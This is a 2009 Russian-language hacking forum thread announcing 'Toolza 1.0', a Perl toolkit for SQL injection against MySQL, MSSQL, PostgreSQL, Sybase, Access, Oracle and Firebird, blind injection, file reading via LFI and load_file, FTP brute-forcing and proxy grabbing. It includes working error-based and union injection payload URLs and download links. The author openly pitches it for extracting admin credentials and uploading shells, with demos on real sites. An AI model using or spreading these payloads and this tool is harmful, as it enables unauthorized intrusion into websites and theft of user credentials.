Просмотр полной версии : Toolza 1.0
Pashkela
17.10.2009, 00:25
===> Toolza1.0 <=== (http://bug-track.ru/prog/toolza1.0.zip) (*Nix/Windows/Mac) - UTF-8 perlscript
SQL injection DB supported: Mysql, Mssql, Sybase, Postgresql, Access, Oracle, Firebird/Interbase
include Blind Mysql injection + alternative methods
Other functions:
- LFI/Reader/Loade_file() bruter
- Scan site for folders & files
- FTP checker
- FTP bruter
- Proxy checker
- Proxy grabber
Post/Get/Proxy/SOCKS4-5/Cookies/Timeout/Multithread/HTTPS+Authorization supported
include video instructions for all modes
http://s006.radikal.ru/i213/1001/51/08684e42ef5bt.jpg (http://radikal.ru/F/s006.radikal.ru/i213/1001/51/08684e42ef5b.jpg.html)
Для всех режимов работы:
- Выбор POST или GET
- Поддержка прокси (файл proxy.txt) - авточекинг, работает с первой рабочей
- Поддержка SOCKS4-5 (файл socks.txt) - авточекинг, автоопределение типа носка(4-5), без авторизации, работает с первой рабочей
- Выбор таймаута соединения
- Возможность вставить cookies
формат:
$cookie ="__utma=115146457;__utmz=115146457;PHPSID=201301df5 788f6f187342cdfe45abea0a";
- Возможность изменить user agent
- Возможность изменить реферер
- Возможность выбора HTTP-протокола ( 0 - HTTP/1.0; 1 - HTTP/1.1; Default - 1)
MySql=>5:
1. Многопоточный (можно вручную менять кол-во потоков, оптимально на практике 10)
2. Вывод на монитор + логирование в файл (имя_хоста.txt)
3. Нормальная поддержка UNHEX(HEX(SQL))
4. Нормальная поддержка AES_DECRYPT(AES_ENCRYPT(SQL,aes_key),aes_key)
5. Выбор пробелов (+,/**/,%20 и etc.)
6. Выбор лимитов (no limit; limit+0,1; limit+1,1)
7. Выбор фильтров (/*,--+,# и etc)
8. Выбор паузы между пачкой запросов в секундах (антиддос сканируемого сайта)
9. Предварительный вывод на экран вашего URL со всеми вашими настройками
10. Возможность выбора дампа таблиц из information_schema - все или с "номер_записи" по "номер_записи"
11. Возможность выбора дампа данных из выбранной таблицы - все или с "номер_записи" по "номер_записи"
12. Возможность вставить свое условие при дампе данных из таблицы - where ID=1, чтобы не дампить, ну например,
всех пользователей какого-нибудь форума и сразу получить данные админа. Или админов, т.к. они могут не находится рядом в таблице и алгоритм "с ... по..." тут не подойдет. Поддерживаются как числовые так и mix условия (автоопределение, авто- HEX).
13. Автопроверка на file_priv
14. Скрипт полностью интерактивный, поддерживается ввод данных пользователем с клавиатуры.
MySql4 bruter - таблицы и колонки:
- Многопоточный
- Возможность добавлять префикс для таблиц и префикс для колонок(PHPBB_, IPB_ & etc.)
- Словарь таблиц - 3434
- Словарь колонок - 760
Site scanner for folders & files:
- Многопоточный
- Словарь 3455 позиций
- Возможность редактировать ошибки при ответе сайта на запрос при не существующем URL (файл scaner_errors_list.txt)
- Возможность пополнять словарь (файл scaner_folder_list.txt, новая позиция с новой строки без слеша в начале)
LFI/READER/Load_file() bruter:
Многопоточный, поддержка GET | POST, прокси (не для всех режимов)
6 режимов работы:
[1] LFI/Reader - visual error when wrong query
[2] LFI/Reader - unvisual error when wrong query
[3] Mysql load_file - visual error when wrong query, magic_quotes=OFF
[4] Mysql load_file - unvisual error when wrong query, magic_quotes=OFF
[5] Mysql load_file - visual error when wrong query, magic_quotes=ON
[6] Mysql load_file - unvisual error when wrong query, magic_quotes=ON
2-4-6 режимы к сожалению только GET и без прокси, т.к. там идет получение содержимого страниц и пришлось выбирать - либо многопоточность, либо так.
+
записал видео для новой фичи:
1. LFI, ошибки ВИДНЫ при неправильном запросе (классика)
2. LFI, ошибки НЕ ВИДНЫ при неправильном запросе
3. LOAD_FILE, magic_quotes=on, ошибки НЕ ВИДНЫ при неправильном запросе
т.е. классический вариант и два "фактически безнадежных" с первого взгляда
Blind Mysql injection:
- Многопоточный
- POST/GET/Прокси/Куки и прочее
- Полный цикл - от системной информации до получения значений из таблицы (явки-пароли)
- Брут для Blind MySql4 таблиц и колонок с возможностью добавить свой префикс
- В общем все возможности, что в секции обычных скулей, только чуть подольше подождать
- Normal MODE брута (диапазон 0-255) - неграниченное кол-во записей, универсальный, вывод ошибок необязателен
- Fast MODE брута - (диапазон 0-255) - кол-во записей <= 10, универсальный, вывод ошибок необязателен
- TURBO-MODE брута в режиме дампа "1 запись 1 колонка" (диапазон 0-255) - универсальный, вывод ошибок необязателен
- MD5-TURBO-MODE брута в режиме дампа "1 запись 1 колонка" (диапазон 48-102) - универсальный, вывод ошибок необязателен
-Blind inj get DB-names from information_schema.schemata
-Blind inj get tables from DB-name
-Blind inj get column_name from tables from DB-name
-Blind inj get LOAD_FILE (file_priv = Y)
предварительно определяется размер файла и есть возможность выбирать, читать весь файл или часть файла (начиная и заканчивая любым байтом), весь процесс чтения виден на мониторе. Видео прилагается.
MySql inj bruter кол-ва колонок:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Метод union+select
- Возможность менять максимальное кол-во колонок - по умолчанию 100
- Возможность менять фильтр
- Возможность менять знак пробела
- Определение правильности запроса по наличию или отсутствию уникального текста на странице
- автоопрделениe limit (без лимита, limit+0,1, limit+1,1)
- определение принтабельной колонки
- Алгоритм работы:
1) сначала прогоняется по 20 колонок без лимита, с limit+0,1, c limit+1,1, затем, если не нашлось кол-во колонок, прогоняется от 21 до максимально выставленного кол-ва колонок (100 - default) также без лимита, с limit+0,1, c limit+1,1
2) после нахождения кол-ва колонок ищется принтабельная колонка также без лимита, с limit+0,1, c limit+1,1
в видео рассмотрен нестандартный случай - правильное кол-во колонок определяется без лимита, принтабельная колонка появляется только с limit+1,1
MySql inj NAME_CONST:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Все те же возможности, что и при обычной скуле + та же скорость
- просто заменить два раза "version()" на "^" (shift+6), т.е. было:
http://site.com/index.php?site=profile&id=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1/*
стало:
http://site.com/index.php?site=profile&id=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((^),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((^),14)e)b)a)/**/and/**/'1'='1/*
Отдельный риспект хотелось бы выразить Qwazar (http://forum.antichat.ru/member.php?u=17119) и jokester (https://forum.antichat.ru/member.php?u=50385) за эту (http://forum.antichat.ru/threadnav119047-2-10.html) тему.
PS: Видео прилагается
MySql inj floor(rand()):
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Все те же возможности, что и при обычной скуле + та же скорость
скуля:
http://example.com/?id=1+or(1,2)=(select+count(*),concat((select+vers ion()+from+information_schema.tables+limit+0,1),0x 3a,floor(rand()*2))+from+information_schema.tables +group+by+2+limit+0,1)--+
переменные в скрипте:
$f_table = "information_schema.tables"; # default 'information_schema.tables' if MySQL>=5 and if MySQL<5 - you must brute table_name before and print here
$f_url = "http://example.com/?id=1+or(1,2)="; # url
$f_plus = "+"; # %20,%2b & etc.
$f_filtr = "--+"; # close SQL
скуля:
http://example.com/?id=(select+1+from+(select+count(*),concat((select +version()+from+information_schema.tables+limit+0, 1),0x3a,floor(rand()*2))+from+information_schema.t ables+group+by+2+limit+0,1)a)--+
переменные в скрипте:
$f_table = "information_schema.tables"; # default 'information_schema.tables' if MySQL>=5 and if MySQL<5 - you must brute table_name before and print here
$f_url = "http://example.com/?id=(select+1+from+"; # url
$f_plus = "+"; # %20,%2b & etc.
$f_filtr = "a)--+"; # close SQL
MSSQL inj:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Определение кол-ва колонок и принтабельной колонки не требуется
- авто-CHAR всех данных
Вывод на экран и сохранение в файл. Видео прилагается
PostgreSQL injection:
1. UNION+SELECT method:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Возможность задавать в настройках data type принтабельного поля ("text" - default)
- Авто CHR(data)||
- Остальное все тоже самое, что и в mysql
2. SUBQUERY method:
- Многопоточный
- Post/Get/Cookies/Proxy & etc.
- Возможность задавать в настройках тип конвертации данных для вызова ошибки
- Авто CHR(data)||
- Остальное все тоже самое, что и в mysql
Пример метода UNION+SELECT:
http://site.com/index.phtml?pid=7+union+select+null,version(),null--
Настройки в скрипте:
$p_union_select_url = "http://site.com/index.phtml?pid=7+union+select+null,^,null"; # url UNION+SELECT method
$p_subquery_url = ""; # url SUBQUERY method
$p_method = 0; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$p_filtr = "--"; # close SQL
$p_plus = "+"; # %20,%2b & etc.
$p_convert = "text"; # convert data type(text,int ... etc.)
Пример метода SUBQUERY:
http://site.com/index.php?id=1+and+1=cast(select+version()+as+int)
или
http://site.com/index.php?id=1+and+1=version()::int
что тоже самое
Настройки в скрипте:
$p_union_select_url = ""; # url UNION+SELECT method
$p_subquery_url = "http://site.com/index.php?id=1+and+1="; # url SUBQUERY method
$p_method = 1; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$p_filtr = ""; # close SQL
$p_plus = "+"; # %20,%2b & etc.
$p_convert = "int"; # convert data type(text,int ... etc.)
Вывод на экран и сохранение в файл. Видео прилагается
Sybase SQL injection:
- Пока в один поток (специфика sybase sql inj)
- Post/Get/Cookies/Proxy & etc.
- Не требуется подбор кол-ва колонок и поиск принтабельной
- Возможность задавать тип конвертации данных для вызова ошибки (numeric, integer & etc)
- Авто hex(data)||
- Дампит все БД, все таблицы (плюс ID), все колонки из выбранной таблицы (плюс ID) + данные из таблиц
- Автоопределение типов данных при дампе
1 . UNION SELECT method:
http://site.com/index.phtml?pid=7+union+select+null,@@version,null
Настройки в скрипте:
$s_union_select_url = "http://site.com/index.phtml?pid=7+union+select+null,^,null"; # url UNION+SELECT method
$s_subquery_url = ""; # url SUBQUERY method
$s_method = 0; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$s_filtr = "--"; # close SQL
$s_plus = "+"; # %20,%2b & etc.
$s_convert = "numeric"; # default type to convert - numeric (for subquery method)
1 . SUBQUERY method:
http://site.com/index.phtml?pid=-7+or+1=convert(numeric,(select+@@version))--+
Настройки в скрипте:
$s_union_select_url = ""; # url UNION+SELECT method
$s_subquery_url = "http://site.com/index.phtml?pid=-7+or+1="; # url SUBQUERY method
$s_method = 1; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$s_filtr = "--+"; # close SQL
$s_plus = "+"; # %20,%2b & etc.
$s_convert = "numeric"; # default type to convert - numeric (for subquery method)
+ системные данные:
@@version
user_name()
@@boottime
@@errorlog
@@language
@@servername
db_name()
Вывод на экран и сохранение в файл. Видео прилагается
Ms Access SQL injection:
- POST/GET/Cookie/Proxy & etc.
- Возможности:
1. Определение кол-ва столбцов через order+by (надо указать ошибку, когда кол-во столбцов больше) - multithread
2. Брут имен таблиц - возможно добавлять префикс - tbl,tbl_, site_name & etc (multithread)
3. Брут имен колонок - возможно добавлять префикс - tbl,tbl_, site_name & etc (multithread)
4. Автоопределение принтабельной колонки
5. Дамп данных из таблицы (1 thread - специфика access)
6. Автоопределение типов данных при дампе (независимо от того, дампятся данные из одной колонки или нескольких и независимо от порядка их расстановки, т.е. дампите как обычно - id,name,email...)
Вывод на экран и запись в файл. Видео прилагается
Oracle SQL injection:
- Многопоточный
- POST/GET/Cookie/Proxy & etc.
- Возможность задать тип конвертации для принтабельного поля
- Авто CHR(data)||
- Остальное как в обычной скуле mysql
просто замените принтабельное поле на "^" (shift+6)
Вывод на экран и запись в файл. Видео прилагается
Firebird/Interbase SQL injection:
- Многопоточный
- POST/GET/Cookie/Proxy & etc.
- Возможность задать тип конвертации для выводимых данных
- Авто ascii_char(data)||
Исходная ссылка:
http://example.com/image.php?operator=2)+and+1=user--
или
http://example.com/image.php?operator=2)+and+1=cast(user+as+char(777) )--
В скрипте:
$fi_source_sql = "http://example.com/image.php?operator=2)+and+1=";
$fi_filtr = "--"; # close SQL
$fi_plus = "+"; # %20,%2b & etc.
$fi_convert = "char(777)"; # default data type - char(777)
Вывод на экран и запись в файл. Видео прилагается
FTP checker:
- Многопоточный (50 потоков checked)
- Сохраняет проверенные ftp в файл
- Поддерживаемые форматы:
1) ftp://login : pass@host
2) ftp://login : pass@host : port
каждый с новой строки
- если порт не указан, выставляется дефолтный (можно менять в настроках - по умолчанию 21)
- возможны пробелы между строками(автоопределение)
- возможны любые символы в начале и в конце строки (автоопределение)
FTP bruter:
- Многопоточный (50 потоков checked)
- Три режима работы:
1) Брут login : password (любой делиметр, задается в настройках, по умолчанию ":")
2) Известен логин, брут паролей
3) Известен пароль, брут логинов
п. 3 может пригодиться, если вы желаете проверить найденный Вами пароль от SSH или phpmyadmin или просто от админки - вдруг подойдет и на FTP
В видео рассмотрены все три режима работы, словарь паролей взят из mil-dic.txt (83641 записей)
PS: Не забывайте, на некоторых хостах надо задавать обязательную паузу между попытками входа, например на ftp.narod.ru (5 сек) - выставляется в глобальных настройках скрипта
PROXY checker:
- Многопоточный
- Сохраняет хорошие proxy в файл
- формат ip : port - каждый с новой строки
PROXY grabber:
- Многопоточный
- Кроме SOCKS4 и SOCKS5
- 16 актуальных сайтов с проксями
- Возможность грабить прокси через POST|GET|cookie и даже через proxy :)
- Возможность добавлять свои сайты для грабинга (никакого выбора "порт/страна/диапазон ip" - или сразу список или зря потерянное Ваше время, ищите сразу рабочую ссылку со списком проксей)
- Маска простейшая, на абсолютную корректность не проверяется (на то есть таймаут и ваш AI):
/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/g
(пример: 127.0.0.1:8080 )
ибо если не придерживаются стандарта - ну и ну их
Выложена видеодемонстрация:
- грабим прокси
- сразу чекаем на валидность (после того, как обошли и пропарсили все сайты из списка в режиме POST + 10 потоков - хотите больше - эксперементируйте, чем больше таймаут - тем корректней результат, но тем больше вероятность, что прокси фиговая)
-----------------------------------------------------------------
В комплекте ссылка на скрипт:
===> Toolza1.0 <=== (http://bug-track.ru/prog/toolza1.0.zip)
и ссылки на видео(все тесты на реальных сайтах):
режим MySql5 - сжатый(2,06 Мб), распаковынный(89,5 Мб) (http://bug-track.ru/prog/toolza1.0_video.rar)
режим MySql4 brute tables & columns+proxy+POST-метод - сжатый(0,98 Мб), распаковынный(48 Мб) (http://bug-track.ru/prog/toolza_msql4_brute.rar)
режим LFI/READER/Load_file() bruter - сжатый(3,12 Мб), распаковынный(120 Мб) (http://bug-track.ru/prog/tololza_lrl.rar)
режим Blind MySql5 - от версии до получения паролей - сжатый(4,90 Мб), распаковынный(336 Мб) (http://bug-track.ru/prog/toolza_blind5.rar)
режим TURBO-MODE (http://bug-track.ru/prog/toolza_turbo.rar)
режим MD5-TURBO-MODE (http://bug-track.ru/prog/toolza_md5.rar)
режим FTP checker (http://bug-track.ru/prog/toolza_ftp.rar)
режим PROXY checker (http://bug-track.ru/prog/toolza_proxy.rar)
режим MySql column number bruter (http://bug-track.ru/prog/toolza_column_bruter.rar)
режим PROXY grabber (http://bug-track.ru/prog/toolza_proxy_grabber.rar)
режим FTP bruter (http://bug-track.ru/prog/toolza_ftp_brute.rar)
режим MySql inj NAME_CONST (http://bug-track.ru/prog/toolza_name_const.rar)
режим MSSQL injection (http://bug-track.ru/prog/toolza_mssql.rar)
режим PostgreSQL injection (http://bug-track.ru/prog/toolza_ps.rar)
режим Sybase SQL injection (http://bug-track.ru/prog/toolza_sybase.rar)
режим Ms Access SQL injection (http://bug-track.ru/prog/toolza_access.rar)
режим Oracle SQL injection (http://bug-track.ru/prog/toolza_oracle.rar)
режим SOCKS mode (http://bug-track.ru/prog/toolza_socks.rar)
режим Firebird/Interbase SQL injection (http://bug-track.ru/prog/firebird_interbase.rar)
режим Blind SQL injection LOAD_FILE (file_priv=Y) (http://bug-track.ru/prog/blind_load_file.rar)
------------------------------
Работа скрипта в любом режиме реализована на сокетах, никаких дополнительных модулей не требуется
Ded MustD!e
17.10.2009, 00:56
чем не устроил https://forum.antichat.ru/showpost.php?p=236188&postcount=3 ?
Pashkela
17.10.2009, 01:00
ненавижу задавать опции в командной строке. Тут дружелюбней на этот счет. А так да, тот круче, наверное, не видел просто той темы. И потом писать надо самому, чтобы понять суть процесса. Плюс
в планах впихнуть mysql4_bruter, LFI_bruter, site_scaner, Blind MySQL-inj
т.е. sql-inj тут не приоритет, смысл сделать одну бол-мен полезную штуку, чтобы не собирать потом другие полезные штуки по всем компу. Потому Toolza
MySQl4_bruter уже завтра встрою
PS:
11. Возможность выбора дампа данных из выбранной таблицы - все или с "номер_записи" по "номер_записи"
12. Возможность вставить свое условие при дампе данных из таблицы - where ID=1, чтобы не дампить, ну например,
всех пользователей какого-нибудь форума и сразу получить данные админа. Или админов, т.к. они могут не находится рядом в таблице и алгоритм "с ... по..." тут не подойдет. Пока поддерживаются только числовые условия
такого пока вообще нигде не видел, а иногда только это от скули и надо, вернее в 90% случаев, т.е тут ориентация больше на удобство и быстроту
PS: Плюс тот, извините, однопоточный, несерьезно
shellz[21h]
17.10.2009, 01:19
за старние +, но sqlsus в своем роде лучший mysql-экстрактор, что в нем привлекает это скорость. За один запрос снимает по 80 записей используя подзапросы. Пару сек и таблицы и колонки на ладони :)
altblitz
17.10.2009, 01:19
.. Тут дружелюбней на этот счет. А так да, тот круче, наверное, не видел просто той темы.
смысл сделать одну бол-мен полезную штуку, чтобы не собирать потом другие полезные штуки по всем компу. Потому Toolza
творение, на которое затрачены автором часы изучения темы и воплощения.
позитив, в 15 минут такое не оценивается.
Помоему инструментов для работы с Sql-inj и так хватает...зачем велосипед изобретать?
Pashkela
17.10.2009, 01:51
почитай функционал и покажи мне хоть одну прогу, где:
1. Можно сразу вводить таблу, из которой нужно выцепить данные (ну знаю я например, что там есть phpbb_users сразу)
2. п. 11 и п.12
Объясню еще раз - скрипт ориентирован на удобство, на рутину, на мегафункционал не претендует сразу, для тех, кто не в танке, для тех, кто знает, для чего он ломает сайт, в какой таблице админ и моментально достать именно его, а не дампить никому не нужные мыла и прочую инфо еще о 1985-ти юзерах - для тех, кто специализируется на проникновение в админку и последующее залитие шеллов из админки, не на спамеров и прочих колекционеров дампов.
PS: Смотрите видео, там все показано, уникальные пункты не стал выделять жирным и желтым из своей природной скромности, попробуйте в конце концов скрипт
почитай функционал и покажи мне хоть одну прогу, где:
1. Можно сразу вводить таблу, из которой нужно выцепить данные (ну знаю я например, что там есть phpbb_users сразу)
2. п. 11 и п.12
Объясню еще раз - скрипт ориентирован на удобство, на рутину, на мегафункционал не претендует сразу, для тех, кто не в танке, для тех, кто знает, для чего он ломает сайт, в какой таблице админ и моментально достать именно его, а не дампить никому не нужные мыла и прочую инфо еще о 1985-ти юзерах - для тех, кто специализируется на проникновение в админку и последующее залитие шеллов из админки, не на спамеров и прочих колекционеров дампов.
PS: Смотрите видео, там все показано, уникальные пункты не стал выделять жирным и желтым из своей природной скромности, попробуйте в конце концов скрипт
пример? пожалуйста - sipt4
Pashkela
17.10.2009, 02:17
Правда? Вот взять, просто вставить туда урл с уже найденной инъекцией и СРАЗУ ввести название таблицы для дампа из нее значений с where? Ну-ну
При всем моем уважении к SIPT4 и к её создателю SQLHACK - прога давно морально устарела. Не пользусь ей уже года полттора. Заманало. Не хочу никому доказывать, что скуля есть, если знаешь, что она есть, и даже таблы уже все знаешь, и даже знаешь ID админа
+ в один поток - о чем мы вообще говорим, в sipt4 даже нет поддержки unhex(hex(data)), а в Toolza для aes_decrypt(aes_encrypt(),ключ),ключ) ключ можно свой задавать, он знаете ли периодически не только 0x71
Возьмем даже просто последнюю ссылку из раздела "Уязвимости"-"SQL-инъекции" -
https://forum.antichat.ru/showpost.php?p=1603653&postcount=10996
где 5-я ветка, SIPT4 там не видит скули - всё, парсить ручками?
SQLHACK-у вечный почет и слава, в своё время прога была лучшей в своем роде, но без поддержки все рано или поздно устаревает
Ded MustD!e
17.10.2009, 03:14
Для тех кто в танке, читай внимательно описание Электа к Antichat Databases_Dumper_MSSQL(MySQL-5.*) v.1.1.1
- есть возможность задать произвольный запрос(-Z 1).
(внимание: -Z либо не задан, либо равен 1)
При произвольном запросе производится полный дамп данных. Если столбец не указан - дампится вся указанная таблица.
Условие WHERE при неуказанном столбце выполняет поиск желаемых столбцов. При указанном столбце WHERE производит поиск желаемых данных.
Вот твои хваленые пункты 11 и 12.
В любом случае, пока программа работает только через GET - её ценность равна нулю, никому не надо срать в логах, и более менее грамотный человек использовать твою тулзу не будет... =\
Возьмем даже просто последнюю ссылку из раздела "Уязвимости"-"SQL-инъекции" -
https://forum.antichat.ru/showpost.php?p=1603653&postcount=10996
где 5-я ветка, SIPT4 там не видит скули - всё, парсить ручками?
эмм...может ты и не видишь
http://pic.ipicture.ru/uploads/091017/thumbs/fzUjHcSSSo.jpg (http://ipicture.ru/Gallery/Viewfull/25166486.html)
Pashkela
17.10.2009, 06:09
update: MySql4 bruter - таблицы и колонки. Обновил первый пост
shellz[21h]
17.10.2009, 06:10
Покрайне мере скрывается сам запрос с параметрами. ПОСТ еще не всегда можно заюзать.
Pashkela
17.10.2009, 06:16
Не, никто не спорит, пост - это круто. Просто я и это устал писать:) Потом доделаю
собственно пока скрипт не конкурент сипту, как добавишь все что задумал посмотрим.
Вообще нужно было с другой стороны начинать, и критики было бы меньше :)
Jokester
17.10.2009, 11:55
4. Нормальная поддержка AES_DECRYPT(AES_ENCRYPT(SQL,aes_key),aes_key) - можно изменить aes_key
Эээ? Зачем?
в sipt4 даже нет поддержки unhex(hex(data)), а в Toolza для aes_decrypt(aes_encrypt(),ключ),ключ) ключ можно свой задавать, он знаете ли периодически не только 0x71
Ты уверен, что понимаешь зачем вообще используют эти функции?
7. Выбор фильтров (--,--+,# и etc)
В мускуле нет такого "--" комментария. Только с пробелом.
Это не критика, а советы по улучшению, если ты планируешь её дорабатывать.
Давным давно всем известно что есть софт работающий через ПОСТ, так что там тоже логи ведутся, или вы самые умные считаете что заюзав ПОСТ вместе ГЕТ скрывает ваши действия от логов, смешно если это так. Конечно желательно делать через ПОСТ, это было моё мнение.
Ведутся, но не по дефолту а при установке доп. модулей и конечно гораздо реже чем ГЕТовые
Но юзать скули через POST можно только если скрипт это позволяет, как тут уже заметили, но конечно поддержку надо включать, если планируются апдейты
Pashkela
18.10.2009, 04:10
update: добавлен сканер сайтов на файлы и папки, с возможностью выбора GET или POST запроса, также многопоточный, в словаре для брута 548 позиций. Обновления в первом посте темы.
Krist_ALL
18.10.2009, 12:38
+5 пашкелла!
если сделаешь все что задумал то будет мега комбаин. Насри на тупые коменты.
жду поддержку прокси , чтобы заюзать =)
+5 пашкелла!
если сделаешь все что задумал то будет мега комбаин. Насри на тупые коменты.
*Цензура*
Люблю пашкелу. +5
Pashkela
19.10.2009, 14:29
update:
1. Для всех режимов работы:
- Выбор POST или GET
- Поддержка прокси
- Выбор таймаута соединения
- Возможность вставить cookies
- Возможность изменить user agent
- Возможность изменить реферер
- Возможность выбора HTTP-протокола ( 0 - HTTP/1.0; 1 - HTTP/1.1; Default - 1)
2. Возможность выбора префика для таблиц и префикса для колонок (режим MySql4_brute)
3. Устранение мелких багов
Мда, ты не задумывался о гуе?
такого рода проги, на делать на обычный языках. типа C++ Builder, VS С++,
как SIPT4. С каторой работать приятно. А ты свои сраные, вечно недоделанные скрипты пихаешь
Мда, ты не задумывался о гуе?
Дык, если бы он знал чтонить кроме пыха и перла, думую написал бы чтонить пахожее на SIPT4
Pashkela
19.10.2009, 14:41
2 .Slip:
честно говоря пока не пробовал с гуи в перл, сначала бы дописать всё, что задумывалось, а потом уже и красоты и юзабельность. Пока и так вроде и под никсами и под WiN работает
честно говоря пока не пробовал с гуи в перл,
Интересно, как это.
ЗЫ я шас сам тружусь над пхп авто инклудером в С++ Builder.
надоело епаццо с plp.php =)
делать на обычный языках. типа C++ Builder, VS С++ таких языков нет ж)
честно говоря пока не пробовал с гуи в перл, сначала бы дописать всё, что задумывалось, а потом уже и красоты и юзабельность. Пока и так вроде и под никсами и под WiN работает
Tk кроссплатформен. Начни с гуи сейчас пока твой функционал не разжирел настолько что ты просто оxуеешь всё запихивать в гуи. Ибо уже началось, вставлять куки через цмд, уже бред.
Pashkela
19.10.2009, 14:49
2 .Slip:
почему через цмд? Очень просто, в файлике строчка. У меня через цмд в скрипте вообще ничего нет, в принципе вариант цмд-гуи
Ну в файлике, я не разбирался в принципе работы. В любом случае, лучше начни с гуи сейчас пока не поздно. Потом заебёшься, да и юзабельности будет всё меньше. Превратится тулза в такую же жирную херню как nmap по которому уже статьи метровые пишут что и где прописывать что бы работало.
Сделай поддержку name_const() в слепых пятой ветки будет интересно
Pashkela
19.10.2009, 16:18
update: добавлено видео по использованию MySql4 brute tables & columns + proxy + POST-метод (от скули с версией до входа в админпанель)
Ну в файлике, я не разбирался в принципе работы. В любом случае, лучше начни с гуи сейчас пока не поздно. Потом заебёшься, да и юзабельности будет всё меньше. Превратится тулза в такую же жирную херню как nmap по которому уже статьи метровые пишут что и где прописывать что бы работало.
nmap отличная вещь! Чтож вы все со своим гуи задолбали, как будто без окон никто жить не может...
Pashkela:
с гуи на самом деле все просто. Используешь Tk или Tkx:
основы: http://habrahabr.ru/blogs/perl/68840/
доков полно, при желании можно найти и почитать.
Pashkela
19.10.2009, 16:53
2 eLWAux: сенкс, почитаю
PS: Просто слышал что у ГУИ конкретные напряги с многопоточностью
Просто слышал что у ГУИ конкретные напряги с многопоточностью
Так и есть
login999
19.10.2009, 19:09
Без обид людям, которые пишут на перле, но насколько я пользовался творениями Kaimi (давно уже правда было, но было), то у перла вообще многопоточность очень прожорливая...
P.S. А насчет Гуя , то я так понимаю, что на Перле, что на Питоне это проблема нормально увязать его с многопоточностью.
http://habrahabr.ru/blogs/perl/65592/
вот про многопоточность и гуи
Pashkela
20.10.2009, 01:41
update: LFI/READER/Load_file() bruter :
6 режимов работы:
[1] LFI/Reader - visual error when wrong query
[2] LFI/Reader - unvisual error when wrong query
[3] Mysql load_file - visual error when wrong query, magic_quotes=OFF
[4] Mysql load_file - unvisual error when wrong query, magic_quotes=OFF
[5] Mysql load_file - visual error when wrong query, magic_quotes=ON
[6] Mysql load_file - unvisual error when wrong query, magic_quotes=ON
2-4-6 режимы к сожалению только GET и без прокси, т.к. там идет получение содержимого страниц и пришлось выбирать - либо многопоточность, либо так.
+
записал видео для новой фичи:
1. LFI, ошибки ВИДНЫ при неправильном запросе (классика)
2. LFI, ошибки НЕ ВИДНЫ при неправильном запросе (почти трудно)
3. LOAD_FILE, magic_quotes=on, ошибки НЕ ВИДНЫ при неправильном запросе (практически анриал) :)
т.е. классический вариант и два "фактически безнадежных" с первого взгляда
доделывай блинд и моно пихать в избранное :)
Pashkela
22.10.2009, 06:39
Сейчас делаю Blind, типо многопоточный, скажите плз, кто шарит, ровно две с половиной минуты при 10 потоках - это очень долго, чтобы узнать version(), database() и user(), при длине version() = 6, database() = 9, user() = 46 ?
Как все работает можно увидеть на видео (340 кб):
http://bug-track.ru/prog/toolza_blind_test.rar
И еще вопрос, кто в курсе, как сделать потоки в УЖЕ запущенных потоках - т.е. чтобы все функции выполнялись многозадачно. А функций там 3 штуки уже по блайнду. А будет больше.
PS: Основанно все и содрано практически один в один и адаптированно в perl с php-скрипта Grey :)
PSS: И еще тестик - улучшать как-то или и так сойдет(522 Кб):
http://bug-track.ru/prog/toolza_blind_test1.rar
тут: version() = 15, database() = 12, user() = 23
3 мин 23 сек
Оба теста через POST без прокси
s0l_ir0n
22.10.2009, 06:54
3 мин 23 сек
Оба теста через POST без прокси
Не фонтан конечно, но юзать можна
Pashkela
23.10.2009, 18:10
update: Blind Mysql v.4-5 injection + видео по использованию
обновления в первом посте
Парни а как запустить эту штуку?
Парни а как запустить эту штуку?
http://www.activestate.com/activeperl/
Сейчас делаю Blind, типо многопоточный, скажите плз, кто шарит, ровно две с половиной минуты при 10 потоках - это очень долго, чтобы узнать version(), database() и user(), при длине version() = 6, database() = 9, user() = 46 ? Это долго. А ещё, я не понял, зачем при блайнде 10 потоков на version() из 6 символов? По какому принципу ты их загружаешь? Расскажи как у тебя перебор организован.
Pashkela
23.10.2009, 19:11
А ещё, я не понял, зачем при блайнде 10 потоков на version() из 6 символов?
не на вершион а на 10 основных системных запросов, просто version() сама по себе одна не узнается, только в купе с другими параметрами, многопоточное всё, где не один запрос идет.
Алгоритм простой - каждый запрос в отдельный поток, но каждый запрос - это например version(), а не разделение потоков на перебор всех символов в version(), просто таже version() одновременно узнается и брутится с:
user()
database()
@@basedir
@@datadir
@@tmpdir
@@version_compile_os
mysql.user
mysql.password
file_priv
PS: А вообще смотрите видео, для кого писал, если 25 минут - от нахождения слепой скули до получения данных username,password,access_level в виде:
Admin:md5_hash:owner
и кол-ве первых пяти записей + предварительно узнавание всех таблиц c table_schema!=information_schema и всех колонок из интересующей таблицы
- долго, то хз, пока так
PS: Т.е. тут чем больше данных мы запрашиваем, тем больше как бы многопоточность ощущается :)
В процессе написания я как бы понимал, что многопочность в идеале надо прикручивать именно на брут символов, а не на каждый запрос в виде version(), но как показала практика - увеличение скорости незначительное + происходила частичная потеря символов, что недопустимо, т.к. потеряв хоть один символ из того же MD5 его уже не расшифруешь
Расскажи как у тебя перебор организован.
есть код, в чистом виде, в первом посте
Смотри, на 1 символ требуется всего log N запросов (логарифм по основанию 2), где N - количество символов в алфавите. Если ты ещё шлёшь запросы пачками по 10 штук то тогда вообще не понятно, что может занять аж 25 минут.
Pashkela
23.10.2009, 19:50
Qwazar, если ты знаешь проги быстрее этой и готов предоставить мне "более правильный" алгоритм перебора - я буду только рад :)
